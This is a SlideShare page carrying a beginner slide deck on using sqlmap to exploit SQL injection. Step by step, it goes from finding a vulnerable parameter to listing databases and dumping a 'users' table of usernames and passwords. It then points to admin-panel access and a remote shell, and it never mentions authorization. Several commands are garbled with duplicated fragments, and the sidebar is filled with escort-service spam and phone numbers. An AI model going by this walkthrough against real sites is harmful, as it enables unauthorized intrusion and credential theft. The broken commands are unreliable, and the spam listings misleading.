SlideShare ist ein Scribd-Unternehmen logo
1 von 11
SQLMAP TUTORIAL FOR
BEGINNERSBy:ali asghar jafari lari
admin@SecurityAdviser.ir
WHAT IS SQLMAP?
 Sqlmap is one of the most popular and powerful sql injection
automation tool out there. Given a vulnerable http request url,
sqlmap can exploit the remote database and do a lot of
hacking like extracting database names, tables, columns, all the
data in the tables etc. It can even read and write files on the
remote file system under certain conditions. Written in python it is
one of the most powerful hacking tools out there. Sqlmap is the
metasploit of sql injections.
DOWNLOAD LINK
 http://sqlmap.org
VULNERABLE URLS
 Lets say there is a web application or website that has a url in it
like this: http://www.site.com/news.php?idnews=91
 and it is prone to sql injection because the developer of that site
did not properly escape the parameter id. This can be simply
tested by trying to open the url:
http://www.site.com/news.php?idnews=91’
 We just added a single quote in the parameter. If this url throws
an error or reacts in an unexpected manner then it is clear that
the database has got the unexpected single quote which the
application did not escape properly. So in this case this input
parameter "idnews" is vulnerable to sql injection.
HACKING WITH SQLMAP
 Now its time to move on to sqlmap to hack such urls. The sqlmap
command is run from the terminal with the python interpreter:
 python sqlmap.py –u http://www.site.com/news.php?idnews=91
The above is the first and most simple command to run with the
sqlmap tool. It checks the input parameters to find if they are
vulnerable to sql injection or not. For this sqlmap sends different
kinds of sql injection payloads to the input parameter and checks
the output. In the process sqlmap is also able to identify the
remote system os, database name and version.
DISCOVER DATABASES
 Once sqlmap confirms that a remote url is vulnerable to sql
injection and is exploitable the next step is to find out the names
of the databases that exist on the remote system. The "--dbs"
option is used to get the database list:
 python sqlmap.py –u python sqlmap.py –u
http://www.site.com/news.php?idnews=91 --dbs
FIND TABLES IN A PARTICULAR
DATABASE
 Now its time to find out what tables exist in a particular database.
Lets say the database of interest over her e is 'safecosmetics‘:
 python sqlmap.py –u python sqlmap.py –u
http://www.site.com/news.php?idnews=91 --tables -D
safecosmetics
GET COLUMNS OF A TABLE
 Now that we have the list of tables with us, it would be a good
idea to get the columns of some important table. Lets say the
table is 'users' and it contains the username and password:
 python sqlmap.py –u python sqlmap.py –u
http://www.site.com/news.php?idnews=91 --columns -D
safecosmetics -T users
GET DATA FROM A TABLE
 Now comes the most interesting part, of extracting the data from
the table. The command would be:
 python sqlmap.py –u python sqlmap.py –u
http://www.site.com/news.php?idnews=91 --dump -D
safecosmetics -T users
WHAT NEXT ?
 Execute arbitrary sql queries
 Get inside the admin panel and play
 Shell on remote OS
ABOUT ME
 Ali Asghar Jafari Lari
 Author, Lecturer and Security Adviser
 Manager of Parsing cyber research and network security team
 Admin@SecurityAdviser.ir

Weitere Àhnliche Inhalte

KĂŒrzlich hochgeladen

VIP Call Girls Kolkata Ananya đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya đŸ€Œ  8250192130 🚀 Vip Call Girls KolkataVIP Call Girls Kolkata Ananya đŸ€Œ  8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
Radiant Call girls in Dubai O56338O268 Dubai Call girls
Radiant Call girls in Dubai O56338O268 Dubai Call girlsRadiant Call girls in Dubai O56338O268 Dubai Call girls
Radiant Call girls in Dubai O56338O268 Dubai Call girlsstephieert
 
Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...
Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...
Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...Sheetaleventcompany
 
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130  Available With RoomVIP Kolkata Call Girl Kestopur 👉 8250192130  Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Roomdivyansh0kumar0
 
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130  Available With RoomVIP Kolkata Call Girl Alambazar 👉 8250192130  Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Roomdivyansh0kumar0
 
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With RoomVIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Roomishabajaj13
 
Enjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort Service
Enjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort ServiceEnjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort Service
Enjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort ServiceDelhi Call girls
 
Networking in the Penumbra presented by Geoff Huston at NZNOG
Networking in the Penumbra presented by Geoff Huston at NZNOGNetworking in the Penumbra presented by Geoff Huston at NZNOG
Networking in the Penumbra presented by Geoff Huston at NZNOGAPNIC
 
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts serviceChennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts servicesonalikaur4
 
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Delhi Call girls
 
Russian Call girls in Dubai +971563133746 Dubai Call girls
Russian  Call girls in Dubai +971563133746 Dubai  Call girlsRussian  Call girls in Dubai +971563133746 Dubai  Call girls
Russian Call girls in Dubai +971563133746 Dubai Call girlsstephieert
 
Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.soniya singh
 
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersMoving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersDamian Radcliffe
 
VIP Kolkata Call Girl Dum Dum 👉 8250192130 Available With Room
VIP Kolkata Call Girl Dum Dum 👉 8250192130  Available With RoomVIP Kolkata Call Girl Dum Dum 👉 8250192130  Available With Room
VIP Kolkata Call Girl Dum Dum 👉 8250192130 Available With Roomdivyansh0kumar0
 
Russian Call Girls in Kolkata Samaira đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira đŸ€Œ  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Samaira đŸ€Œ  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine ServiceHot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Servicesexy call girls service in goa
 
Russian Call Girls in Kolkata Ishita đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita đŸ€Œ  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Ishita đŸ€Œ  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 

KĂŒrzlich hochgeladen (20)

VIP Call Girls Kolkata Ananya đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya đŸ€Œ  8250192130 🚀 Vip Call Girls KolkataVIP Call Girls Kolkata Ananya đŸ€Œ  8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
 
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
Rohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
Radiant Call girls in Dubai O56338O268 Dubai Call girls
Radiant Call girls in Dubai O56338O268 Dubai Call girlsRadiant Call girls in Dubai O56338O268 Dubai Call girls
Radiant Call girls in Dubai O56338O268 Dubai Call girls
 
Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...
Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...
Call Girls Service Chandigarh Lucky ❀ 7710465962 Independent Call Girls In C...
 
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130  Available With RoomVIP Kolkata Call Girl Kestopur 👉 8250192130  Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Room
 
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130  Available With RoomVIP Kolkata Call Girl Alambazar 👉 8250192130  Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
 
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With RoomVIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
 
Enjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort Service
Enjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort ServiceEnjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort Service
Enjoy Night⚡Call Girls Dlf City Phase 3 Gurgaon >àŒ’8448380779 Escort Service
 
Networking in the Penumbra presented by Geoff Huston at NZNOG
Networking in the Penumbra presented by Geoff Huston at NZNOGNetworking in the Penumbra presented by Geoff Huston at NZNOG
Networking in the Penumbra presented by Geoff Huston at NZNOG
 
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts serviceChennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
 
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
Best VIP Call Girls Noida Sector 75 Call Me: 8448380779
 
Russian Call girls in Dubai +971563133746 Dubai Call girls
Russian  Call girls in Dubai +971563133746 Dubai  Call girlsRussian  Call girls in Dubai +971563133746 Dubai  Call girls
Russian Call girls in Dubai +971563133746 Dubai Call girls
 
Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.
Call Now ☎ 8264348440 !! Call Girls in Shahpur Jat Escort Service Delhi N.C.R.
 
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Saket Delhi 💯Call Us 🔝8264348440🔝
 
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providersMoving Beyond Twitter/X and Facebook - Social Media for local news providers
Moving Beyond Twitter/X and Facebook - Social Media for local news providers
 
VIP Kolkata Call Girl Dum Dum 👉 8250192130 Available With Room
VIP Kolkata Call Girl Dum Dum 👉 8250192130  Available With RoomVIP Kolkata Call Girl Dum Dum 👉 8250192130  Available With Room
VIP Kolkata Call Girl Dum Dum 👉 8250192130 Available With Room
 
Russian Call Girls in Kolkata Samaira đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira đŸ€Œ  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Samaira đŸ€Œ  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
 
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine ServiceHot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
 
Russian Call Girls in Kolkata Ishita đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita đŸ€Œ  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Ishita đŸ€Œ  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita đŸ€Œ 8250192130 🚀 Vip Call Girls Kolkata
 

Empfohlen

PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data ScienceChristy Abraham Joy
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Applitools
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at WorkGetSmarter
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slidesAlireza Esmikhani
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...DevGAMM Conference
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationErica Santiago
 

Empfohlen (20)

PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slides
 
More than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike RoutesMore than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike Routes
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy Presentation
 

SQLMAP Tutorial For Beginners

  • 1. SQLMAP TUTORIAL FOR BEGINNERSBy:ali asghar jafari lari admin@SecurityAdviser.ir
  • 2. WHAT IS SQLMAP?  Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.
  • 4. VULNERABLE URLS  Lets say there is a web application or website that has a url in it like this: http://www.site.com/news.php?idnews=91  and it is prone to sql injection because the developer of that site did not properly escape the parameter id. This can be simply tested by trying to open the url: http://www.site.com/news.php?idnews=91’  We just added a single quote in the parameter. If this url throws an error or reacts in an unexpected manner then it is clear that the database has got the unexpected single quote which the application did not escape properly. So in this case this input parameter "idnews" is vulnerable to sql injection.
  • 5. HACKING WITH SQLMAP  Now its time to move on to sqlmap to hack such urls. The sqlmap command is run from the terminal with the python interpreter:  python sqlmap.py –u http://www.site.com/news.php?idnews=91 The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version.
  • 6. DISCOVER DATABASES  Once sqlmap confirms that a remote url is vulnerable to sql injection and is exploitable the next step is to find out the names of the databases that exist on the remote system. The "--dbs" option is used to get the database list:  python sqlmap.py –u python sqlmap.py –u http://www.site.com/news.php?idnews=91 --dbs
  • 7. FIND TABLES IN A PARTICULAR DATABASE  Now its time to find out what tables exist in a particular database. Lets say the database of interest over her e is 'safecosmetics‘:  python sqlmap.py –u python sqlmap.py –u http://www.site.com/news.php?idnews=91 --tables -D safecosmetics
  • 8. GET COLUMNS OF A TABLE  Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is 'users' and it contains the username and password:  python sqlmap.py –u python sqlmap.py –u http://www.site.com/news.php?idnews=91 --columns -D safecosmetics -T users
  • 9. GET DATA FROM A TABLE  Now comes the most interesting part, of extracting the data from the table. The command would be:  python sqlmap.py –u python sqlmap.py –u http://www.site.com/news.php?idnews=91 --dump -D safecosmetics -T users
  • 10. WHAT NEXT ?  Execute arbitrary sql queries  Get inside the admin panel and play  Shell on remote OS
  • 11. ABOUT ME  Ali Asghar Jafari Lari  Author, Lecturer and Security Adviser  Manager of Parsing cyber research and network security team  Admin@SecurityAdviser.ir